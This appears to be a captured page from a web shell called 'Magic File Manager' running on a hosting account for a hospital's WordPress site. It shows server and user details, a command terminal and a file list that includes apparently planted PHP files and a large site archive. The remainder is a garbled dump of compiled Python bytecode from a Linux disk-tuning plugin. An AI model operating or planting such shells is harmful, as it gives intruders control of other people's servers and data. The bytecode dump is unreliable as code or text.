✨ Magic File Manager

🚀 Hostinger Optimized
🖥� Server: Apache
💻 System: Linux bom1plzcpnl503817.prod.bom1.secureserver.net 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
👤 User: pnj6a06usxf3 (9714991)
� PHP: 8.1.34
🚫 Disabled: ✨ NONE

💻 Terminal

� /home/pnj6a06usxf3/public_html/shivshaktihospital.co.in
$

� Create New

⬆� Upload File

📊 Max upload: 32M | 📦 Max POST: 128M

📄 Name📊 Size🔒 Perm⚡ Actions
� .well-known--drwxr-xr-x
� shivshaktihospital.com--drwxr-xr-x
� wp-admin--drwxr-xr-x
� wp-content--drwxr-xr-x
� wp-includes--drwxr-xr-x
⚙� .htaccess0.88 KB-rw-r--r--
📄 .htaccess.bk0.556 KB-rw-r--r--
📄 error_log1.1 MB-rw-r--r--
� index.php0.396 KB-rw-r--r--
📃 license.txt19.437 KB-rw-r--r--
� log.php63.893 KB-rw-r--r--
� readme.html7.233 KB-rw-r--r--
📦 shivshaktihospital.com.zip499.69 MB-rw-r--r--
� sid3.php55.304 KB-rw-r--r--
� wp-activate.php7.537 KB-rw-r--r--
� wp-blog-header.php0.343 KB-rw-r--r--
� wp-comments-post.php2.269 KB-rw-r--r--
� wp-config-sample.php3.261 KB-rw-r--r--
� wp-config.php3.16 KB-rw-r--r--
� wp-cron.php5.485 KB-rw-r--r--
� wp-links-opml.php2.435 KB-rw-r--r--
� wp-load.php3.845 KB-rw-r--r--
� wp-login.php51.305 KB-rw-r--r--
� wp-mail.php8.522 KB-rw-r--r--
� wp-postnews.php12.595 KB-rw-r--r--
� wp-settings.php32.375 KB-rw-r--r--
� wp-signup.php34.259 KB-rw-r--r--
� wp-trackback.php5.27 KB-rw-r--r--
� xmlrpc.php3.13 KB-rw-r--r--
3 …á�j™Bã@sjddlZddlmZddlTddlZddljZddlm Z ddl Z ddl Z ej j ƒZGdd„dejƒZdS)éNé)Úhotplug)Ú*)ÚcommandscsìeZdZdZ‡fdd„Z‡fdd„Zdd„Zdd „Zed d „ƒZ d d „Z dd„Z ‡fdd„Z ‡fdd„Z ‡fdd„Zedd„ƒZedd„ƒZdd„Zdd„Zdd„Zd d!„Zd"d#„Zd$d%„Zd&d'„Zd(d)„Zd*d+„Z‡fd,d-„Zd.d/„ZdZd1d2„Zd3d4„Zed5d6d7�d8d9„ƒZe d5ƒd[d;d<„ƒZ!ed=d6d7�d>d?„ƒZ"e d=ƒd\d@dA„ƒZ#edBd6d7�dCdD„ƒZ$e dBƒd]dEdF„ƒZ%dGdH„Z&dIdJ„Z'edKd6d7�dLdM„ƒZ(e dKƒd^dNdO„ƒZ)e*dPd6d7�dQdR„ƒZ+dSdT„Z,edUd6d7�dVdW„ƒZ-e dUƒd_dXdY„ƒZ.‡Z/S)`Ú DiskPlugina† `disk`:: Plug-in for tuning various block device options. This plug-in can also dynamically change the advanced power management and spindown timeout setting for a drive according to the current drive utilization. The dynamic tuning is controlled by the [option]`dynamic` and the global [option]`dynamic_tuning` option in `tuned-main.conf`. + The disk plug-in operates on all supported block devices unless a comma separated list of [option]`devices` is passed to it. + .Operate only on the sda block device ==== ---- [disk] # Comma separated list of devices, all devices if commented out. devices=sda ---- ==== + The [option]`elevator` option sets the Linux I/O scheduler. + .Use the bfq I/O scheduler on xvda block device ==== ---- [disk] device=xvda elevator=bfq ---- ==== + The [option]`scheduler_quantum` option only applies to the CFQ I/O scheduler. It defines the number of I/O requests that CFQ sends to one device at one time, essentially limiting queue depth. The default value is 8 requests. The device being used may support greater queue depth, but increasing the value of quantum will also increase latency, especially for large sequential write work loads. + The [option]`apm` option sets the Advanced Power Management feature on drives that support it. It corresponds to using the `-B` option of the `hdparm` utility. The [option]`spindown` option puts the drive into idle (low-power) mode, and also sets the standby (spindown) timeout for the drive. It corresponds to using `-S` option of the `hdparm` utility. + .Use a medium-agressive power management with spindown ==== ---- [disk] apm=128 spindown=6 ---- ==== + The [option]`readahead` option controls how much extra data the operating system reads from disk when performing sequential I/O operations. Increasing the `readahead` value might improve performance in application environments where sequential reading of large files takes place. The default unit for readahead is KiB. This can be adjusted to sectors by specifying the suffix 's'. If the suffix is specified, there must be at least one space between the number and suffix (for example, `readahead=8192 s`). + .Set the `readahead` to 4MB unless already set to a higher value ==== ---- [disk] readahead=>4096 ---- ==== The disk readahead value can be multiplied by the constant specified by the [option]`readahead_multiply` option. c srtt|ƒj||Žddddddddd d d d g |_d dddddddddd dg |_t|jƒ|_d|_d|_t ƒ|_ dS)NéþéáéÃé¥é‘é}éiéUéFé7ééréúéæéÒé¾éªé–é‚énéZé<ég{®Gáz„?) ÚsuperrÚ__init__Ú _power_levelsÚ_spindown_levelsÚlenÚ_levelsÚ _level_stepsÚ_load_smallestrÚ_cmd)ÚselfÚargsÚkwargs)Ú __class__©ú!/usr/lib/python3.6/plugin_disk.pyrXs zDiskPlugin.__init__csdtt|ƒjƒd|_d|_tƒ|_tƒ|_x,|j j dƒD]}|j |ƒr8|jj |j ƒq8Wtƒ|_dS)NTÚblock)rrÚ _init_devicesZ_devices_supportedÚ _use_hdparmÚsetZ _free_devicesÚdictÚ_hdparm_apm_device_supportÚ_hardware_inventoryZ get_devicesÚ_device_is_supportedÚaddZsys_nameZ_assigned_devices)r'Údevice)r*r+r,r.bs zDiskPlugin._init_devicescs‡fdd„|DƒS)Ncsg|]}ˆjjd|ƒ‘qS)r-)r3Z get_device)Ú.0Úx)r'r+r,ú nsz2DiskPlugin._get_device_objects..r+)r'Zdevicesr+)r'r,Ú_get_device_objectsmszDiskPlugin._get_device_objectscCsÈ|js dS||jkr|j|S|jjddd|gtjgdd�\}}}|tj krdtjdƒd|_dS|r–tjd|ƒtj d ||fƒd|j|<dSd |krºtjd |ƒd|j|<dSd|j|<dS) NFÚhdparmz-Cz/dev/%sT)Ú no_errorsZ return_errz4hdparm command not found, ignoring for other devicesz#Device '%s' not supported by hdparmz(rc: %s, msg: '%s')Úunknownz3Driver for device '%s' does not support apm command) r/r2r&ÚexecuteÚerrnoÚENOENTÚlogÚwarnÚinfoÚdebug)r'r6ÚrcÚoutZerr_msgr+r+r,Ú_is_hdparm_apm_supportedps*       z#DiskPlugin._is_hdparm_apm_supportedcCs2|jdko0|jjddƒdko0|jdkp0|jjdkS) NÚdiskZ removableó0ÚscsiÚvirtioÚxenÚnvme)rJrKrLrM)Z device_typeZ attributesÚgetÚparentZ subsystem)Úclsr6r+r+r,r4‡s  zDiskPlugin._device_is_supportedcCs|jj|d|jƒdS)Nr-)r3Z subscribeÚ_hardware_events_callback)r'r+r+r,Ú_hardware_events_initŽsz DiskPlugin._hardware_events_initcCs|jj|ƒdS)N)r3Z unsubscribe)r'r+r+r,Ú_hardware_events_cleanup‘sz#DiskPlugin._hardware_events_cleanupcs(|j|ƒs|dkr$tt|ƒj||ƒdS)NÚremove)r4rrrQ)r'Zeventr6)r*r+r,rQ”sz$DiskPlugin._hardware_events_callbackcs,|jdk r|jj|ƒtt|ƒj||ƒdS)N)Ú _load_monitorZ add_devicerrÚ_added_device_apply_tuning)r'ÚinstanceÚ device_name)r*r+r,rV˜s  z%DiskPlugin._added_device_apply_tuningcs,|jdk r|jj|ƒtt|ƒj||ƒdS)N)rUZ remove_devicerrÚ_removed_device_unapply_tuning)r'rWrX)r*r+r,rY�s  z)DiskPlugin._removed_device_unapply_tuningcCsddddddddœS)NT)ÚdynamicÚelevatorÚapmÚspindownÚ readaheadÚreadahead_multiplyÚscheduler_quantumr+)rPr+r+r,Ú_get_config_options¢szDiskPlugin._get_config_optionscCsddgS)Nr\r]r+)rPr+r+r,Ú#_get_config_options_used_by_dynamic®sz.DiskPlugin._get_config_options_used_by_dynamiccCsdd|_d|_d|_|j|jdƒrTd|_|jjd|jƒ|_ i|_ i|_ i|_ i|_ n d|_d|_ dS)NTrrZrHF)Z_has_static_tuningÚ _apm_errcntÚ_spindown_errcntZ _option_boolZoptionsZ_has_dynamic_tuningÚ_monitors_repositoryZcreateZassigned_devicesrUZ _device_idleÚ_statsÚ_idleÚ_spindown_change_delayed)r'rWr+r+r,Ú_instance_initµs zDiskPlugin._instance_initcCs"|jdk r|jj|jƒd|_dS)N)rUreÚdelete)r'rWr+r+r,Ú_instance_cleanupÈs zDiskPlugin._instance_cleanupcCs˜|rd}|j}n d}|j}|tjkr(dS|dkr6d}nL|tj krbtjd|_|_tjdƒdS|d7}|tjkr‚tjd|ƒ|rŽ||_n||_dS)Nr]r\rrzIhdparm command not found, ignoring future set_apm / set_spindown commandsz5disabling set_%s command: too many consecutive errors) rdrcÚconstsÚERROR_THRESHOLDr?r@rArBrC)r'rEr]ÚsZcntr+r+r,Ú_update_errcntÍs&    zDiskPlugin._update_errcntcCsNtjd|ƒ|jjdd|d|gtjgd�\}}|j|dƒd|j|<dS)Nzchanging spindown to %dr;z-S%dz/dev/%s)r<TF)rArDr&r>r?r@rorh)r'rWr6Únew_spindown_levelrErFr+r+r,Ú_change_spindownås& zDiskPlugin._change_spindowncCs2|jjddd|gtjgd�\}}d|ko0d|kS)Nr;z-Cz/dev/%s)r<ZstandbyZsleeping)r&r>r?r@)r'r6rErFr+r+r,Ú_drive_spinningës"zDiskPlugin._drive_spinningc Cs(|j|ƒsdS|jj|ƒ}|dkr&dS||jkr<|j||ƒ|j|||ƒ|j||ƒ|j|}|j|}|dd|jkrž|d|j krž|d|j kržd}n.|ddkrÈ|ddksÂ|ddkrÈd}nd}|dk�r²|d|7<|j |d}|j |d}t j d|dƒ|jtjk�rb|j|ƒ �rT|dk�rTt j d|ƒd|j|<n|j|||ƒ|jtjk�ræt j d |ƒ|jjd d |d |gtjgd �\} } |j| dƒn4|j|�ræ|j|ƒ�ræ|j |d}|j|||ƒt j d||d|dfƒt j d||d|d|dfƒdS)NÚlevelrÚreadÚwriterztuning level changed to %dz;delaying spindown change to %d, drive has already spun downTzchanging APM_level to %dr;z-B%dz/dev/%s)r<Fz %s load: read %0.2f, write %0.2fz$%s idle: read %d, write %d, level %déÿÿÿÿ)rGrUZget_device_loadrfÚ_init_stats_and_idleÚ _update_statsÚ _update_idlergr#r$r r!rArDrdrlrmrrrhrqrcr&r>r?r@ro) r'rWr6ÚloadZstatsZidleZ level_changeZnew_power_levelrprErFr+r+r,Ú_instance_update_dynamicïsF       .$  &z#DiskPlugin._instance_update_dynamiccCsDddgddgddgdœ|j|<ddddœ|j|<d|j|<dS)Né rr)ÚnewÚoldÚmax)rsrtruF)rfrgrh)r'rWr6r+r+r,rw!s$zDiskPlugin._init_stats_and_idlecCsÄ|j|d|j|d<}||j|d<dd„t||ƒDƒ}||j|d<|j|d}dd„t||ƒDƒ}||j|d<t|dƒt|dƒ|j|d <t|d ƒt|d ƒ|j|d <dS) Nr}r~cSsg|]}|d|d‘qS)rrr+)r7Znew_oldr+r+r,r9+sz,DiskPlugin._update_stats..ÚdiffrcSsg|] }t|ƒ‘qSr+)r)r7Zpairr+r+r,r90srrtéru)rfÚzipÚfloat)r'rWr6Znew_loadZold_loadr€Z old_max_loadZmax_loadr+r+r,rx&s"zDiskPlugin._update_statscCsLxFdD]>}|j|||jkr6|j||d7<qd|j||<qWdS)Nrtrurr)rtru)rfr%rg)r'rWr6Z operationr+r+r,ry7s zDiskPlugin._update_idlecs0|j|ƒstjd|ƒntt|ƒj||ƒdS)Nzr?r@ro)r'r”r6r•rTrErFr+r+r,Ú_set_apmds  ( zDiskPlugin._set_apmc Cs¾|j|ƒs |stjd|ƒdSd}d}|jjddd|gtjgd�\}}|tj krZdS|dkrhd}n@tjd |tj ƒ}|r¨yt |j d ƒƒ}Wnt k r¦d}YnX|rºtj d |ƒ|S) Nz+apm option is not supported for device '%s'Fr;z-Bz/dev/)r<rTz .*=\s*(\d+).*rz2could not get current APM settings for device '%s')rGrArCr&r>r?r@ÚreÚmatchÚSÚintÚgroupÚ ValueErrorÚerror)r'r6r™r”ÚerrrErFÚmr+r+r,Ú_get_apmts( "  zDiskPlugin._get_apmr]cCs||j|ƒs(|s tjd|ƒdSt|ƒS|jtjkrt|sl|jjddt|ƒd|gt j gd�\}}|j |dƒt|ƒSdSdS)Nz0spindown option is not supported for device '%s'r;z-Sz/dev/)r<T) rGrArCr›rdrlrmr&r>r?r@ro)r'r”r6r•rTrErFr+r+r,Ú _set_spindownŒs  ( zDiskPlugin._set_spindowncCs$|j|ƒs |stjd|ƒdSdS)Nz0spindown option is not supported for device '%s'éý)rGrArC)r'r6r™r+r+r,Ú _get_spindownœs  zDiskPlugin._get_spindowncCs |j|dƒS)Nzqueue/read_ahead_kb)r�)r'r6r+r+r,Ú_readahead_file¥szDiskPlugin._readahead_filec Cs^t|ƒjddƒ}yt|dƒ}Wntk r4dSXt|ƒdkrZ|dddkrZ|d}|S)Nrrrné)r›Úsplitr r¢r")r'r”ÚvalÚvr+r+r,Ú _parse_ra¨szDiskPlugin._parse_rar^cCsZ|j|ƒ}|j|ƒ}|dkr0tjd||fƒn&|sV|jj|d||rNtjgndd�|S)Nz,Invalid readahead value '%s' for device '%s'z%dF)r’)rªr¯rAr£r&r“r?r@)r'r”r6r•rTr–r­r+r+r,Ú_set_readahead³s  zDiskPlugin._set_readaheadcCs6|j|ƒ}|jj||d�jƒ}t|ƒdkr.dSt|ƒS)N)r’r)rªr&r˜Ústripr"r )r'r6r™r–r”r+r+r,Ú_get_readahead¿s   zDiskPlugin._get_readaheadr_c Cs”|rdS|jd|d�}|r^|j|ƒ}|dkr0dStt|ƒ|ƒ}|jj||ƒ|j||dƒn2|jj|ƒ}|dkrvdS|j||dƒ|jj|ƒdS)Nr_)Z command_namerXF) Z _storage_keyr²r rƒZ_storager0r°rNZunset) r'ZenablingZ multiplierr6Zverifyr™Z storage_keyZ old_readaheadZ new_readaheadr+r+r,Ú_multiply_readaheadÇs"  zDiskPlugin._multiply_readaheadcCs |j|dƒS)Nzqueue/iosched/quantum)r�)r'r6r+r+r,Ú_scheduler_quantum_fileÜsz"DiskPlugin._scheduler_quantum_filer`cCs8|j|ƒ}|s4|jj|dt|ƒ|r,tjgndd�|S)Nz%dF)r’)r´r&r“r r?r@)r'r”r6r•rTr–r+r+r,Ú_set_scheduler_quantumßs  z!DiskPlugin._set_scheduler_quantumcCsH|j|ƒ}|jj||d�jƒ}t|ƒdkr@|sdisk_scheduler_quantum option is not supported for device '%s')r´r&r˜r±r"rArCr )r'r6r™r–r”r+r+r,Ú_get_scheduler_quantumçs  z!DiskPlugin._get_scheduler_quantum)r†)F)F)F)F)F)0Ú__name__Ú __module__Ú __qualname__Ú__doc__rr.r:rGÚ classmethodr4rRrSrQrVrYrarbrirkrorqrrr{rwrxryr„r…r�r‘Z command_setr—Z command_getršrœr¦r§r©rªr¯r°r²Zcommand_customr³r´rµr¶Ú __classcell__r+r+)r*r,r sZJ      2        r)r?ÚrZ decoratorsZ tuned.logsZtunedZ tuned.constsrlZtuned.utils.commandsrr‰r�ZlogsrNrAZPluginrr+r+r+r,Ús